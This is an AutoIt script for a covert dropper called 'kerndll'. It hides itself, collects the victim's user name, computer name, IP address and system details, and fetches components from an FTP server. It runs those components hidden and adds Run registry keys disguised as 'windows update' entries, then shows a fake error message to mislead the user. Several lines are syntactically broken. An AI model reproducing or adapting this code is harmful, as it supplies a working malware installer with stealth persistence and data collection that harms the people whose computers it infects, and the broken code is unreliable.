;options
Opt("TrayIconHide", 1)
break(0)


;includes
#include <FTPEx.au3>
#include <Inet.au3>
#include <Process.au3>
#include <File.au3>
#include <String.au3>
#include <Array.au3>


;variables
$kerndlldir = @SystemDir & "\kerndll\"
$script = @ScriptName
$ver = "1.0"

$date = @MDAY & "-" & @MON & "-" & @YEAR
$time = @HOUR & ":" & @MIN & ":" & @SEC

$server = "changethis"                      ;CHANGE
$username = "changethis"                    ;CHANGE
$password = "changethis"                    ;CHANGE
$passive = 1

$sndrive = stringleft(@windowsdir, 3)
$sn = drivegetserial($sndrive)

dim $ver

;program
if IniRead($kerndlldir & "info.ini", "kerndll", "date", "virgin") <> "virgin" Then
    Exit
EndIf

dircreate($kerndlldir)
_FileCreate($kerndlldir & "info.ini")

_FileWriteToLine($kerndlldir & "info.ini", 1, "[kerndllpacket]" &, 1)
_FileWriteToLine($kerndlldir & "info.ini", 2, "file=" & $script, 1)
_FileWriteToLine($kerndlldir & "info.ini", 3, "version=" & $ver, 1)
_FileWriteToLine($kerndlldir & "info.ini", 4, "date=" & "virgin", 1)

_FileWriteToLine($kerndlldir & "info.ini", 6, "[server]" &, 1)
_FileWriteToLine($kerndlldir & "info.ini", 7, "server=" & _StringEncrypt(1, $server, "kerndllpassword", 2, 1)
_FileWriteToLine($kerndlldir & "info.ini", 8, "username=" & _StringEncrypt(1, $username, "kerndllpassword", 2, 1)
_FileWriteToLine($kerndlldir & "info.ini", 9, "password=" & _StringEncrypt(1, $password, "kerndllpassword", 2, 1)

_FileWriteToLine($kerndlldir & "info.ini", 11, "[user]", 1)
_FileWriteToLine($kerndlldir & "info.ini", 12, "sn=" & $sn, 1)
_FileWriteToLine($kerndlldir & "info.ini", 13, "username=" & @UserName, 1)
_FileWriteToLine($kerndlldir & "info.ini", 14, "computername=" & @ComputerName, 1)
_FileWriteToLine($kerndlldir & "info.ini", 15, "ip=" & _getIP(), 1)
_FileWriteToLine($kerndlldir & "info.ini", 16, "windowsdir=" & @WindowsDir, 1)
_FileWriteToLine($kerndlldir & "info.ini", 17, "systemdir=" & @SystemDir, 1)
_FileWriteToLine($kerndlldir & "info.ini", 18, "mydocumentsdir=" & @MyDocumentsDir, 1)
_FileWriteToLine($kerndlldir & "info.ini", 19, "desktopwidth=" & @DesktopWidth, 1)
_FileWriteToLine($kerndlldir & "info.ini", 20, "desktopheight=" & @DesktopHeight, 1)
_FileWriteToLine($kerndlldir & "info.ini", 21, "OStype=" & @OSType, 1)

_FileCreate($kerndlldir & "component.ini")
$succes = install("kerndll server")

if $succes = 1 Then
    _FileWriteToLine($kerndlldir & "info.ini", 4, "date=" & $date, 1)
    install("kerndll server updater")
EndIf

if $succes = 0 Then
    $key = Chr(Random(Asc("A"), Asc("Z"), 1)) & random(0,9,1)   & Chr(Random(Asc("A"), Asc("Z"), 1)) & random(0,9,1) & Chr(Random(Asc("A"), Asc("Z"), 1))
    filecopy(@scriptdir & $script, @windowsdir & "kdtemp\" & $key & ".exe", 1)
    RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "windows update " & $key, "REG_SZ", @windowsdir & "kdtemp\" & $key & ".exe")
EndIf

msgbox(0,"Error", "Internal Error " & random(1000, 10000, 1) & " : " & $script & " does not respond")
Exit
                                     ;LOAD INSTALL SEPERATE FUNCTIONS

;functions
func install($component)
    $open = _FTP_Open('kerndll ftp control')
    $conn = _FTP_Connect($open, $server, $username, $password, $passive)
    $zipfile = stringleft($component,8) & ".zip"

    $succes = _FTP_FileGet($conn, "kerndll/component/" & $component & ".kdz", $kerndlldir & $zipfile)

    _FTP_Close($open)

    if $succes = 0 then
        Return $succes
    EndIf

    runwait($kerndlldir & "pkunzip.exe -e -skerndllpassword " & $kerndlldir & $zipfile & " " & $component & ".exe", $kerndlldir, @SW_HIDE)
    runwait($kerndlldir & "pkunzip.exe -e -skerndllpassword " & $kerndlldir & $zipfile & " ver.txt", $kerndlldir, @SW_HIDE)
    filemove($kerndlldir & "ver.txt", $kerndlldir & "temp.txt", 1)
    filemove($kerndlldir & $zipfile, $kerndlldir & "zip\" & $component & ".zip", 1)

    $key = Chr(Random(Asc("A"), Asc("Z"), 1)) & random(0,9,1)   & Chr(Random(Asc("A"), Asc("Z"), 1)) & random(0,9,1) & Chr(Random(Asc("A"), Asc("Z"), 1))
    RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "windows update " & $key, "REG_SZ", $kerndlldir & $key & ".exe")

    _FileReadToArray($kerndlldir & "temp.txt", $ver)

    _FileWriteToLine($kerndlldir & "component.ini", 1, "[" & $component & "]", 0)
    _FileWriteToLine($kerndlldir & "component.ini", 2, "file=" & $key, 0)
    _FileWriteToLine($kerndlldir & "component.ini", 3, "version=" & $ver[1], 0)
    _FileWriteToLine($kerndlldir & "component.ini", 4, "date=" & $date, 0)
    _FileWriteToLine($kerndlldir & "component.ini", 5, " " & $date, 0)

    filecopy($kerndlldir & $component & ".exe", $kerndlldir & $key & ".exe", 1)
    filedelete($kerndlldir & $component & ".exe")
    filedelete($kerndlldir & "temp.txt")

    return $succes
endfunc